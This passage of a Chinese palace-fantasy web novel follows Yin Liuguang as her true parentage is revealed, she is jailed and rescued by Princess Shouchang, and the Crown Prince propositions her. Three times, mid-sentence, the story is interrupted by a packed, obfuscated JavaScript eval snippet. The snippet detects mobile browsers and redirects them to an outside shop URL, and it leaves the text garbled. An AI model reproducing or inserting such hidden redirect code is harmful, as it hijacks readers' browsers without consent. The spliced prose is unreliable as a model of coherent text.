殷流光捏着嗓子娇嗔道:“夫君,我方才来时,闻到门口的胡饼铺子特别香,不如我们买几张胡饼尝尝?”
苏胥笑得宠溺:“好,都依娘子的。”
等苏胥带着她买了胡饼,一直走到长街尽头的拐角,便瞧见殷流光干脆利索地从胡饼中抠出一颗圆润光滑的珠子,擦了擦放进怀中。
这么一套动作丝滑无比,他忍不住抬手掩住唇失笑。
她严严实实放好了东西,才对着苏胥道:“方才多谢苏郎君了,改日我必登门拜谢。”
苏胥微笑:“只是举手之劳,娘子无需在意。”
顿了顿,他忽然抬手,殷流光下意识闪了闪,苏胥的手顿在半空,恍若无事地慢慢收了回去。
“方才娘子的发簪歪了,某只是想提醒你一下。”
他的面容波澜不惊,仿佛只是好心,而不是有一瞬的情难自禁。
殷流光咳了咳,摸了摸簪子,果然歪了,是她反应太过度了么?
还有方才他对自己的手吹气的样子……
“娘子如此机敏,想必从来没人能在你这里讨到半分便宜?”苏胥慢悠悠问道,打断了殷流光那一丝微妙的怀疑。
她蓦然想起昨日夜里,男人微微捏住她的下巴,幽深而迷蒙的眸子盯着她,他身上的沉香味无声包裹住她所有感官,哪怕是在室内,那一瞬间也让她如同被细雪打湿心绪。
仿佛幽昙在月下无声盛放,有一刹那的颤动。
脑海中仿佛还残留着他紧紧抱着自己,像是怀抱着什么珍贵的不肯放手的宝物一样,那般珍惜的模样。
还有那个落在她发丝间的吻……若是认真追究起来,商遗思不知占了自己多少便宜。
为何……她从未在意追究过?
她闪了闪眸光,将自己的思绪从那幽昙一现般的迷梦中抽离,道:“苏郎君说笑了,大家都是井水不犯河水,无缘无故的,谁总想着占人便宜呢,对吧?”
不动声色地把他的话阴阳了回去,还顺带又骂了他方才的唐突行为。
真是个带刺的花,生机勃勃,又野蛮,又机灵。
苏胥失笑,带上些委屈巴巴的神色:“某方才真是好心,娘子莫要错怪我。”
扫了眼殷流光怀中的束口袋,他道:“娘子似乎有些赶时间,今日我就不多与你叙话了,改日有空,还请娘子登门。”
“这些日子生意不错,到了年底盘账,也该给娘子这位出股人看看店里的进项。”
一到跟钱有关的事情,殷流光就立刻精神了,立刻应允:“好,我知道了。”
……
告别了苏胥回家后,殷流光立刻着手开始制作金仙铃。
整整折腾了好几日,最终她把东西一推,长长叹了口气,扭头望向知意:“知意,你绣活也挺好的,要不要试试做铃铛?”
知意吓得连忙摆手:“不行啊娘子,这些材料这么金贵,我连碰都不敢碰。”
殷流光垂头丧气:“唉,我也不会啊,天书上只说集齐这四种材料可以做成金仙铃,但没教我怎么做啊!”
说着,她忽然想起这几日沉浸制作金仙铃,都忘了商遗思好像一次都没派人来找过她,也不知道他的病怎么样了,不会讳疾忌医已经昏迷过去了吧?
他要是碍于面子不肯求助于她,因此不治身亡……那她往后找谁要封口费?
思及此处,她连忙跳起来,吩咐知意跟之前一样守好院子,想了想,将材料都揣进兜里,但还没起身,门就蓦然被粗暴推开。
殷流灵站在门外,神色冷然:“殷流光,你根本就不是我殷家的人!还不快收拾东西滚出去!”
从她身侧涌进家丁,不由分说上来就要拽殷流光,知意挡在她面前,急得声音都变了调:“二娘子,你这是做什么!无缘无故,竟然敢指使前院家丁闯进后院!要是让襄王殿下知道,你担当得起吗!”
跟着殷流光久了,知意也学会了狐假虎威,先声夺人,叉腰大声怒斥。
“襄王殿下?”殷流灵冷笑:“他若是知道,所谓的殷四娘子究竟是什么人,恐怕也不会插手这件事!”
“你什么意思?”殷流光冷冷站在原地,望着仿佛成竹在胸,不知有什么把握的殷流灵。
“我什么意思?”殷流灵嫌恶地瞧着她:“既然你不到黄河不死心,去前厅见一个人,自然就知道我什么意思。”
“娘子,要去吗……”殷流光点头:“去,为何不去?”
“不去的话,怎么能知道他们准备了什么‘惊喜’等着我?”
殷流光带着知意,随殷流灵去到了前厅。
她一眼就看到了在前厅中央站着的一个苍老妇人。
殷阆坐在主位上,满脸阴云密布,宋绯扶着那妇人,见殷流光来了,她和颜悦色地对老妇人道:“老人家,把你刚才告诉我们的话,再跟你家娘子说一遍吧?”
那老妇人抬起头,看见殷流光的脸,像是看到了什么不得了的事物一样,顿时流出两行泪,扑上前紧紧握住殷流光的手:“娘子!看你这张脸,我就知道你一定是我家郎君的女儿!”
殷流光不动声色地抽开她的手,平静道:“你家郎君……是谁?”
“自然是前大盛宰执独孤素的独子,独孤舞雩独孤郎君了!”
前宰执独孤素?这个名字她也听过,据说是先帝时最倚重的大臣,年轻有为,素有贤名,后来新帝即位,原本也十分信任他,但他得罪了长公主,后来不知怎么的,竟然参与进了平王谋反一案,举族男处死,女没奴。
隐隐有流言,说独孤公谋反是被诬陷的,诬陷他的人就是长公主。
因为长公主曾经看上了他的独子,天下才共一斗,他独占半斗,五岁便能出口成赋,未及弱冠就与当朝大儒共同修成《庄子注》,被称作“舞雩公子”的独孤舞雩。
面对天姬的青睐,他却微微一笑,拒绝了公主,言自己已有心爱之人,无法从命。
满朝文武,就连商遗思也不会直接当面拒绝长公主,他如此恃才傲物,自然不会有好下场。
后来……在谋反一案中,独孤舞雩跟随其父一起上了断头台。
天下皆惋惜。
知意急声道:“你莫不是看错了?我家娘子怎么会是一个早就死了的人的女儿?”
“二娘子,你为了诬陷我家娘子竟然这么无所不用其极,老爷!您一定不能相信这老妪的话啊!”
殷阆阴晴莫测,看向殷流光:“四娘,对独孤舞雩这个名字……你可有什么印象?”
殷流光没有说话,再一次看向那妇人:“老人家,您是舞雩公子的什么人?您说我是他女儿,从何判断?”
老妇人擦着眼泪,慢慢道:“我是郎君的乳母,从小看着他长大,独孤家出事之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986128|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前,我辞了差事回老家养老,这才逃过一劫……”
她殷殷望着殷流光,目光之中满是慈爱:“娘子,从小人人都说,郎君长了一双狐狸眼,就算是不说话不笑,那双眼睛盯着你瞧的时候,你就会觉得他有一肚子坏主意等着你呢。”
“娘子这双眼,跟郎君一模一样啊!
原来是这样,竟然是这样……
小的时候,阿娘有一次极温柔地瞧着坐在秋千上的她,说我们四娘这双眼,生的跟你阿爹一模一样,真好看,长大了一定跟你阿爹一样,是个顶顶漂亮的美人。
那时她还会不满地反驳:“阿爹眼睛那么小那么细,我才不像他呢!”
阿娘一怔,走过去将她抱在怀里,柔声哄她:“是是是,是阿娘说错了,阿娘往后再也不说了。”
那个秋光生金的午后,阿娘奄奄一息,靠在秋千上,望着她,唇角费力地勾起一个笑:“四娘,公子死了,他是因为我才拒绝了长公主,是我害死了他……幽冥司那么冷那么长,他一个走太寂寞了,阿娘要去陪着他才行。”
她听不懂阿娘在说什么,只知道阿娘生了很重的病,阿爹很久不来看她,嫡母除了施舍几服药外,也从不遣人来问,可那些药……阿娘都扔了,一口没喝。
她说:“阿娘,你要抛下我吗?”
她费力地摸了摸殷流光的脸,冰凉手指触碰到她的睫毛:“被送进这府里,我没有一天是开心的,只有你降生的时候,我是真的很开心,阿娘很爱你,别怨阿娘,你要好好活着,连同阿娘和公子的那一份。”
“公子……再陪我放一次纸鸢,再给我念一遍《论语》那一章……好吗?”
她的阿娘名叫鸢娘,鸢娘曾是宰执府的侍女,她最擅琵琶,春日的时候,风吹纸鸢,舞雩台上,琵琶咏歌。
原来那一句“舞雩”,那对她满含悲伤的爱意的注视,是一对恋人因为掌权柄者的嫉妒与不满,而被迫生离的证明。
只是现在远远不是追溯自己身世的时候,殷流灵找来独孤舞雩曾经的乳母,是想证明她不是殷阆的女儿,把她赶出这个家?
可自己并非亲生这件事,殷阆怀疑了十几年,要不然也不会她装乖巧懂事这么些年,却极少得到殷阆的感情施舍。
如今……知道借着她能攀上襄王,以殷阆想往上爬的性子,就算知道殷流光的确并非亲生,他权衡利弊之下,也不会现在就撕破脸挑明这件事。
除非……留下她,对他来说有比攀上襄王这个好处之外,更大的坏处。
是什么……?
她紧皱眉头,看到宋绯那极其隐秘阴冷的,藏在担忧之下的不怀好意的笑,忽然懂了。
独孤公是因为谋反罪被论处,凡是牵扯到谋反,都是雷霆手段,举族无一能够逃脱。
只有如此狠厉,如此严酷的刑罚,才能震慑那些有异心之人。
她若真的被证实是独孤舞雩之女……便难逃被没入官奴的命运。
如果殷阆胆敢私藏她,一旦被发现,就是隐匿谋反者亲族之罪。
以他懦弱的性子,自然不敢担这个干系。
她扫视一圈,满室皆是虎视眈眈的人,殷流光慢慢笑了:“所以,父亲母亲,你们现在是要……将我移送官府?”
宋绯叹气:“四娘,如果你真的是独孤公的孙女……纵然我们有心,也救不了你啊。”
老妇人猛然一惊,睁大眼看向宋绯:“宋夫人,你们找我来的时候不是这么说的!你们说会掩护我,让我悄悄带走娘子,让她回郎君祖籍认祖归宗……”
她话说到一半,变了脸色:“你们骗我?!”
她悲愤欲绝,明白自己是被人当成了算计娘子的棋子:“娘子,老婆子我对不起你,也对不起郎君,你放心,你的身世这世上除了我再没有人知道,我不会让你被他们抓去见官的……”
说完,她神情狠了下来,猛然撞向宋绯一旁的柱子。
众人皆明白过来。
她要以自杀为殷流光的身世封口!
37. 京兆府狱
殷流光眼疾手快地将她拦了下来。
老妇人双手紧紧握着她的胳膊,面对着这双曾经无数次在张府见过的一模一样的,圆润明亮的眼眸,不禁悲从中来,泣不成声地哽咽:“娘子,你为何要拦我,我对不起你啊——”
殷流光冷静无比地说:“不,是我该多谢你,若不是你,我也不能确定自己的身世。”
也给了她一个理由,去和这些年还曾对父亲之爱有过期待的,那个幼稚的自己和解。
原来她真的不是殷阆的孩子啊。
她转身望向一直坐着不动的殷阆:“阿耶,你一直没有说话,是在想要怎么处置我吗?”
“那么现在,你想好了吗?”
所有人的目光都看了过去,满堂静了许久。
宋绯攥紧了帕子,殷流灵高高昂着下巴,不屑地盯着殷流光,终于,殷阆开口了:“将她捉去……见官。”
殷流光默了默,几乎畅快地要笑出声来。
他对她冷淡无比,视若无物,总是偏心殷守善和殷流灵,不是因为她不够好,不够讨人喜欢,或者不像殷守善那样是个男子,像殷流灵那样是主母所生,只是因为——她不是他的孩子啊!
那太好了,从此以后她不必顾忌什么血脉亲缘,殷家如何,与她何干?
殷流灵也张口结舌了一瞬,没想到阿耶真的能做出这种决定。
毕竟是从小一起长大的,就算是个物件,她也早就习惯了……她慌乱了起来,求助地看向母亲。
她原本、原本只是想着借着这个机会,好好杀一杀殷流光的威风,不让她再气阿娘的。
叫人在江南寻来这老嬷嬷,也只是气不过殷流光在家里占尽风光,她没想着要把她送去见官,让她变成奴籍。
阿耶……好狠的心啊。
宋绯转过脸立刻道:“还在等什么?主君都已经发了话,还不把这逃奴抓去京兆府见官!”
她恨殷流光,一定是她克疯了善儿,不然为何善儿独独每次见了她都惊恐万状,胡言乱语?
唯一的儿子疯了,被送去见不得人的城郊养病,说是养病,跟废了有什么区别?
凭什么殷流光就能接连不断得到贵人青睐,一个广平侯世子还不够,还要再来一个权倾天下的襄王?
如今既然流灵找到了这致命的把柄,她自然要把刀捅得又深、又疼,最好让这个琵琶女生的野种凄惨无比地死在京兆狱里!
知意柔弱单薄的身躯被一群气势汹汹的家丁轻易地推开,又爬起来扑进去护着她:“不、不,娘子不是逃奴,不是逃奴!你们放肆!别碰她!”
“知意!”宋绯慢条斯理道:“你是我们家买来的奴婢,不是她殷流光的奴婢,还不快松手?否则,我便叫牙人来将你卖去平康坊!”
知意固执着不肯松手,却被殷流光一根根掰开手指,她的语气很柔和。
今日之事太过突然,宋绯谋划了这么久,千里迢迢找来张家旧人,算准了殷阆纵有天大的攀附权贵的贪欲,也不敢牵扯进谋反案,更不敢惹怒长公主,他一定会将自己移交官府,说不定,还幻想着能因此得到长公主的青睐。
这一招,真是又恶毒又缜密,打得她猝不及防。
纵然她有能力假晕,再找机会变成乌鸦逃脱,可知意怎么办,她真正父亲的乳母又怎么办?
若是她消失了,宋绯跟殷阆定然会严刑拷打知意,为了以绝后患,说不准他们还会对乳母杀人灭口。
她叹了口气,抹去知意脸上的泪。
“知意,别哭了,小时候阿娘走后,就只有我们俩相依为命,冬天缩在冷得像冰的被子里互相取暖,一起用热水泡开硬的像石头的饼子……”
“那么苦的日子,你一句都没有抱怨过,还总是笑着安慰我……知意,在我心里,你早就是我的亲妹妹了。”
她压低声音快速地嘱咐:“我走之后,你不要违抗主母,她说什么就做什么,如果她为难你,你就去找殷流灵,她素日虽然总是看我不顺眼,但本心不坏。”
从小一起长大,知意当然是最了解自己的人,这番话一出,她就知道殷流光主意已定,忍着泪道:“娘子,你真的要去京兆狱吗……”
殷流光狡黠一笑,用口型安慰道:“放心,京兆狱的大牢,只关得住人。”
……
襄王宅内。
默玄捧着药碗,脸上此刻满是说不出的担忧。
自从从长乐天回襄王宅后,大王便一如往常,照旧上朝、处理金吾卫事务、甚至伏月道长还来拜访过一次,与大王商议在京城各坊武侯铺设捕兽网的具体事宜。
大王在书房应付伏月到深夜,君平露过脸不易现身,便只有默玄随侧,他默默瞧着,送伏月出府时,大王容色平淡,仿佛什么都没有发生。
如此过了三天,直到今日下朝,他下马时踉跄了一瞬,默玄跟山君同时奔了过去。
“大王,要不还是让属下去请殷四娘子过来吧?”
他跟着商遗思进了书房,商遗思却摆手,对默玄道:“昨日伏月说的,你带几个人去办,这捕兽网威力巨大不比寻常,夜神司此次下了血本要追究城内化形之人。”
“虽说我们已转移了一批,但难免有所遗漏,每个坊市内都要有我们的人,一旦捕兽网示警,你先去拿人,不要让夜神司的道士抢了先。”
“是,大王。”默玄应了,又犹豫道:“大王,您的病……”
“本王无事,下去吧。”
他轻描淡写,山君却十分不同意地呜呜叫了好几声,被商遗思伸手拎着扔在了地上。
大王态度如此坚决,不愿见到殷四娘子,默玄纵然心里焦急,恨不得把殷流光立时抓来襄王宅,但大王没有发话,他就什么也不能做。
如此过了几日,第三日夜晚,默玄刚刚捧着熬好的药打算送去书房,路过中庭便瞧见洗练月色下,大王飒沓白衣,手握着一柄红缨长枪,将枪舞得飒飒有声。
月色照在长枪的枪尖上,如水如练,至柔至刚,在中庭卷起一阵又一阵劲风。
默玄走过去,戳了戳站在一旁的君平道:“君平,你去,劝大王别练了!”
“再练下去,这病什么时候才能好?”
君平冷冷道:“我不去。”
“大王舞枪,就是为了逼自己保持清醒,不想又犯了离魂症受制于奸诈小人。”
默玄简直跟他说不明白话,与此同时,中庭却突生变故!
商遗思骤然跪地,吐出一大口血。
默玄跟君平同时慌了,立刻奔至他身边:“大王!”
他抬手止住他们:“无事。”
“你们都先下去,本王想一个人静静。”
君平还要多说什么,却被默玄连拉带拽地拽了下去。
商遗思的手抚摸过枪身上苍劲有力的“濯麟”二字,然后一把紧紧攥住,攥到指节都泛白。
这把枪,是他祖父的枪。
曾经濯鳞划过灵朔城外的三寸厚雪时,整个陇幽三镇都要抖上一抖。
如今,“濯鳞”几个字的刻痕里,仍带着积年的已经变得乌黑的血。
那是他祖父最后的热血。
他的祖父,曾经的陇幽都督商桓,在他五岁那年,面对鬼方的骤然叛乱,握着濯鳞死战不休,最终倒在都督府“守疆牧民”的匾额下,向东而望,死不瞑目。
父亲穿着铠甲的尸体倒在堂前的梨花树下,喉间的血仍向外喷涌……
都督府变成了尸山血海,血泼在阿娘最爱的描金牡丹屏风上,犹然带着她的体温。
“望尘,带着弟弟妹妹快跑,去长安找你外祖父——”
阿娘用柔弱却坚强的身躯将他推进暗道,最后露出一个带着泪的安抚长子的微笑,决绝地在他面前关上了门。
“阿望,灵朔待不了了,趁着我阿耶还在清点战利品,你快换上我家仆人的衣服出城,带着你的弟弟妹妹快走,你的外祖父不是在长安吗,你带着他们去长安吧!”
儿时最好的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986129|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玩伴阿苏特打开粮仓,对着藏在粮仓里的他满脸愧疚地说。
他听见自己颤抖的声音。
“我不走,我要留在灵朔,重新去召集祖父的旧部,不论是五年、十年还是二十年,哪怕要付出百倍千倍的代价,我都要亲手报仇雪恨,不坠商氏威名!”
五岁的他抱着比他高许多倍的濯鳞,满脸血污,眸色乌黑得吓人。
他握着濯鳞,慢慢将积年的记忆重新沉回心中。
即便后来到了京师,为了给弟妹报仇而设计陷害祁君疾,他都没有觉得自己有负于祖父的教导。
即便满京师的人都议论他豢养猛兽,曲意媚上,他也知道此心昭昭,不在乎旁人的流言蜚语。
可是……为什么这离魂症偏偏会让他无法控制自己,对殷流光做出那种事?
难道他对她真的……已经在他不知道的时候,就难以自拔了?
商遗思闭了闭眸,只觉得深深愧对商氏一族世代清名。
无法对她负责,却与她相卧而眠一整夜……
事已至此,他当真是有些不知该如何收场,又如何才能保全殷流光,不伤害她。
他顿了顿,又吐出一口血,身子一软倒在地上,淤血逆行陷入昏迷。
默玄霍然起身:“君平,你守着大王,我去殷家请殷四娘子!”
……
京兆狱内,潮湿阴暗的牢房里,殷流光缩在角落里,默默仰头瞧着从窗缝中流进来的月光。
跟她同一个牢房的女囚见她面容姣好,十指细腻,一看就是从没做过苦活的,忍不住好奇:“哎,你是犯了什么事被关进来的?”
她扭过头,慢吞吞一笑,道:“谋反。”
这两个字轻飘飘地落在空中,威力却堪比山崩地裂,女囚吓了一跳,立刻噤声不敢说话,蒙上被子睡觉,生怕被牵连看做是谋反同党。
等她的气息渐渐绵长规律起来,殷流光立刻爬起身,拍了拍手上的枯草,闭上眼默念心咒。
区区京兆狱,怎么能关得住一只乌鸦?
只是念了半天,却没有像往常那样变形,反而有什么东西在牢门外远远地亮了起来,幽光一片,照在地上。
她愕然睁眼,牢房外飘来几个狱卒猛然响起来的脚步声,她立刻躲起来暗中偷听。
“金吾卫的人非要说是辟邪,给咱们京兆狱放什么法器,说是天师开过光的,这玩意我看着也就是个指南罗盘啊,它刚刚亮个不停,是什么动静?”
“嘘,这可是天师跟襄王殿下的意思,咱们照办就是了,金吾卫的人说若是这罗盘亮起,咱们只管传信给他们,锁好狱门就行!”
“说的也是,我去传个信,这酒你们可别偷喝,等我回来再开!”
“知道了知道了,快去吧!”
罗盘、天师……殷流光顿时拧起眉。
原来她变不了形是因为这个。
夜神司是秘密组织,不能被平常人所知晓,所以明面上那罗盘只是天师开过光的法器,实则却是捕兽网,专门克制方外兽的东西!
她想了起来,上次在长乐天,确实隐约有听到夜神司的伏月道长说,要金吾卫配合,在长安城内各处要害设立捕兽网,以搜捕流窜的方外兽。
没想到金吾卫办事这么利落,才几天,捕兽网就已经设到京兆狱了。
她阴恻恻咬牙,商遗思啊商遗思,你可真是害人不浅。
等金吾卫带着夜神司的道士来了,拿着罗盘一转,她可就一点都跑不掉了。
幸好她身上制作金仙铃的东西还在,搜身时被她假借肚子疼,用脚踢到了牢房内的稻草堆中。
等进了牢房,便趁着无人,从稻草里摸出了那几样东西。
如今境况危急,必须要在金吾卫来人之前做好金仙铃!
如此一整夜,终于拼凑出了个雏形,还没试试效果如何,牢门外传来脚步声,她飞快地把东西藏了回去。
狱卒打开门,对着殷流光道:“贵人传唤,还不快出来!”
38. 太子李宣
贵人?哪门子的贵人会在此时亲自来京兆狱见她?
她满怀疑问地走了出去,见到来人,忍不住大吃一惊:“公……!”
“公主”二字还没说出口就被眼前女子大惊失色地捂住了嘴:“嘘!”
来人正是寿昌公主李善真。
她穿着月白色襕衫,打扮成了俊俏的年轻公子模样。
见殷流光手腕上都被沉重的镣铐磨出血痕,顿时小脸一沉,身旁跟着的侍女立刻扭头怒斥:“还不快把人放了?”
战战兢兢站在一旁的狱卒道:“贵人……这,这,没有京兆尹的手令,我等不敢放人啊。”
寿昌冷哼了一声:“谁说本宫没有?”
声音压得极低,殷流光心思一转,又瞧见她腰上羊脂玉雕刻的玉牌,上面隐约刻着“东宫”二字,立刻就明白过来。
寿昌这是偷了太子的玉牌假扮成他,偷溜到此处来救她的。
心中微微一暖。
其实她跟寿昌的交情并不算多么深厚,她竟然愿意为了自己盗取太子玉牌来相救……同样是天姬,她比殷流光生父那个血腥故事里的长公主要有情有义得多。
说话间,寿昌身边的侍女已经将放人的手令交给了狱卒,狱卒仔仔细细看了一遍,确认这上面有京兆尹的印,松了口气,忙道:“既然如此,小的这就放人,这就放人!”
回公主宅的马车上,殷流光才知道了个大概。
从上次太子凭借寒露茶铺的白梅茶成功唤醒天子心中那么一星半点的眷眷慈父之心后,她便对寒露茶铺很有好感,三不五时就要差人去买点。
昨日买茶回来的侍女却将茶铺店主也带了回来,那店主说是有要事求见公主,愿意以千金叩公主门。
她闲着无事,也好奇一个茶铺店主为了什么事竟然需要花上千金来求她?
见了面才知道,是个极其年轻俊秀的郎君,文质彬彬,进退有度,明明是时人所不齿的商贾,身上却有股贵气。
要求她的事,便是殷流光被抓进京兆府的事。
他说若是公主能出手相救,这千金苏某愿意双手奉上。
一听说是殷流光出事,寿昌便坐不住了,殷流光为她和阿兄出谋划策,在她心底已经算得上是她李善真的半个谋臣,自己的谋臣出了事,怎么能让外人带着钱上门求救?
当即大手一挥,告诉苏胥这件事他不必担心,她会出手,而且也不会收他的钱。
殷流光听完,先把苏胥为何能知道她入了京兆狱这件事放在一边,真情实意地对着寿昌公主作揖:“公主大恩,四娘谨记于心。”
寿昌连忙扶起她:“这么多礼干什么?你跟我又不是外人。只是你那养母实在是可恶,竟然千方百计害自己家人!不打她一顿,难解我心头之气!”
这些事寿昌公主之尊,根本不会在意,只可能是苏胥来求她时说了个大概。
看来苏胥短短几天内,竟然连殷家到底发生了什么事,怎么发生的都弄清楚了……
难道……他在殷家放了监视的人?
脊背猛然窜上一股寒意,殷流光迟疑:“只是我所牵扯到的事情是谋反大案,公主怎么会如此顺利拿到京兆尹的手令,难不成是像玉牌一样偷的……?”
“放心吧!我没偷!”寿昌掷地有声,见殷流光还是十分怀疑,顿时眉毛一挑:“新任京兆尹崔垚是崔氏年轻一代中的佼佼者,阿娘有意让他尚主,咳,也就是有意挑他给我做驸马都尉,所以我跟他见过几面。”
她略带羞涩,下巴却扬的高高的:“他人不错,对我的话无有不应,这次我去找他,他也很爽快地答应了。”
“可这毕竟涉及谋反逆案……”
“殷流光,你笨啊!”寿昌认真地瞧着她,发髻上泛着灿烂光泽的七宝发簪照得整个马车都熠熠生辉。
她道:“一桩陈年旧案而已,主谋平王早已伏法,剩下的那些人还有谁会在意?更何况那年你还没出生,虽然按照律法出生后就是官奴,但我以东宫之名要赦免一个奴婢的罪过,又有何难?”
“更何况,阿兄也是默许的。”
她狡黠一笑,殷流光顿时明白,这东宫玉牌,没有太子默许,寿昌是肯定偷不出来的。
“好了,这些事你就不要担心了,回府后先换套衣服,然后再好好想想你今后的去路。”寿昌轻咳了声:“虽说从此后你姑且也就算做是我公主府的人了,但如果你有别的去处,我也不会拦你。”
她补充了一句:“当然你要是想要待在我的府上,那我就勉为其难让你做我的公主府家令。”
公主家令,虽只是正八品,却也是正正经经的官职,若是答应了,从此,她便是有官职在身的人。
可比当初商遗思给她的待遇好多了!
她说:“公主容我想想。”
……
公主宅琼瑶铺地,沉香为栏,处处都是与襄王宅不同的奢靡华贵。
殷流光换好衣服转身,却发现侍女不知何时都不见了,只有个高挑严肃的面生侍女,不由分说地引着她来到了另一处更加阔大富丽的屋子里。
重叠的流苏帐幔后,闲闲坐着一道浅黄色锦袍的身影。
男子温润的嗓音响起:“你便是殷家四娘?”
殷流光立刻跪了下去:“殷流光叩见太子殿下。”
帐后静默片刻,男子带着讶然的笑意:“你是怎么认出本宫的?”
“能在寿昌公主的内宅随心所欲地出入,且气质如此雍容高贵者,想来除了太子殿下,也没有旁人。”
主要还是那天晚上在长乐天,她躲在商遗思的袖子里听了一晚上太子的声音,自然一下就听出来了。
太子李宣又低低地笑了几声:“难怪寿昌喜欢你,确实伶牙俐齿。”
一只修长莹白,保养得宜的手挑开帐幔,殷流光不敢直视,立刻低下头,听到太子的声音:“寿昌是本宫最疼爱的妹妹,为了保下你甚至敢偷本宫的玉牌。”
他叹道:“天家中人若是有了偏爱,就会坏了规矩,犯了禁忌,但本宫只有这一个妹妹,疼爱些也无妨,听说她想要你做她的家令,你意下如何?”
殷流光规规矩矩道:“臣女……还尚未想好。”
“公主家令的位置你也瞧不上?”太子道:“那么,本宫的侍妾如何?”
殷流光愕然抬头,被太子伸出的白玉骨扇抵住下巴。
太子李宣,容貌肖似大韦后,雍容华贵,如牡丹倾国。
往日里只听闻太子为政以善,在长公主的威压下显得过于懦弱无能,如今一见,才知传言虚假。
一国储君,即便再随和,面对蝼蚁的时候,也是威压深重的。
可殷流光不喜欢这种被人俯视的态度。
至少商遗思,从不会用这种仿佛看待一个供人玩乐之物的目光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986130|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打量她。
她佯装惶恐,别过头侧开太子的玉扇,俯身磕头:“承蒙殿下青睐,民女欣喜若狂……可臣女何德何能?自觉粗鄙不堪,不配侍奉殿下。”
太子慢悠悠道,脚步经过她的身侧:“你为本宫献上的白梅茶饼的法子,以小博大,很是有用,本宫一直以来深恶痛绝这张脸,从不曾想过那个人会如此思念她……”
他顿了顿,道:“你很聪明,本宫的后宅,正缺一个能为本宫解忧的……百灵鸟。”
“不急,你可以考虑考虑,是要当寿昌的家令,还是当本宫的侍妾。”
“本宫相信,区区一个正八品的小官,和未来大明宫里风光无比的帝妃,要选哪个,聪明如你自然明白。”
门扉被关上,许久之后,殷流光才慢慢抬起头,揉着膝盖站起了身。
这天家兄妹,一个外头传着是柔善储君,实则非同一般,心思深沉。一个外人眼里是跋扈骄横的天子爱女,实际上倒是个颇具江湖侠义的女子。
所以说,谣言不可信啊!
她原本还有些心动抱寿昌这根大腿,但被太子这么一搅和,顿时就不成了。
太子与寿昌兄妹情深,虽都说他生性宽和,但殷流光却瞧他气量颇小,若是被她拒绝,嘴上不说什么,心里终归有刺,若是她当了寿昌宅中家令,肯定时不时就能撞见太子,日日提醒他曾被一个低到尘埃里的女子拒绝过。
日子长了,难保日后不在寿昌公主面前挑她的错。
她跟太子相比,寿昌自然会选择相信太子。
所以只能忍痛拒绝寿昌的提议。
至于脱离殷家之后要去哪里……虽然还没想好,但先在寿昌这里暂居几日,总是没问题的。
……
商遗思握着药勺,淡淡地听默玄汇报他昏迷这几日的京中的动静。
鉴水刚骂骂咧咧地离开,夜神司最近正忙,他到处跟着金吾卫设捕兽网,忙得脚不沾地,还要被默玄夤夜请来给商遗思扎针。
“你这病是心病,若是不找到症结所在,就算我天天扎针你也就能再活几个月!为了自己的面子把命都搭上,你是不是傻?”
商遗思披着外衣,眼皮都没抬:“我本来就活不过明年八月节,多几个月少几个月有何区别?”
“……行,我等着给你收尸!”
鉴水撩起帘子,脸色铁青地走了。
默玄进来的时候,屋内就是一片寂静的氛围。
他说完这几日金吾卫各处帮夜神司设捕兽网,抓了几个人,京兆狱也有一个,但最后没查出来是谁时,商遗思搁下了药勺。
“怎么回事?”
默玄苦了脸,不知该怎么说。
自从去殷家却不见殷流光,潜入府中找到知意才知道殷家出的事之后,他就知道京兆狱里那捕兽网指向的正是殷流光。
只是等他后悔没及时去,飞奔到京兆狱时,才听夜神司的道士说什么也没查到,许是这里的捕兽网坏了,于是请来鉴水修理。
他在狱里里里外外转了一圈都没找到殷流光,问狱卒话才知道人被持有东宫玉牌和京兆尹手令,一看就是男扮女装的贵人接走了。
能拿着东宫玉牌跟京兆尹手令横行无忌的人,必然是寿昌公主。
他嗫嚅几下,终于还是下定决心道:“是……殷流光。”
商遗思骤然抬眼:“她怎么会进了京兆狱?”
39. 江南烟雨
听了殷流光的决定,寿昌虽然很惊讶,还有些“你竟敢真的拒绝本公主”的生气,但是又很快被殷流光三言两语哄得眉开眼笑,并且承诺她想在公主宅住多久就住多久。
反正殷家那种地方,是绝对配不上她的!
有了公主玉口一诺,殷流光自然大大方方地住了下来。
没过几天,就和公主宅里上上下下的人都熟络起来。
“襄王病了,好几日告假没上朝了?”
她有些讶然,跟她一起坐在茵席上吃葡萄的婢女道:“是啊,今日上午我跟着公主进宫面圣的时候,听见陛下说的。”
当时陛下还在叹气,说望尘一病,这几日上朝御史台弹劾朕的折子都变多了,真是头疼啊。
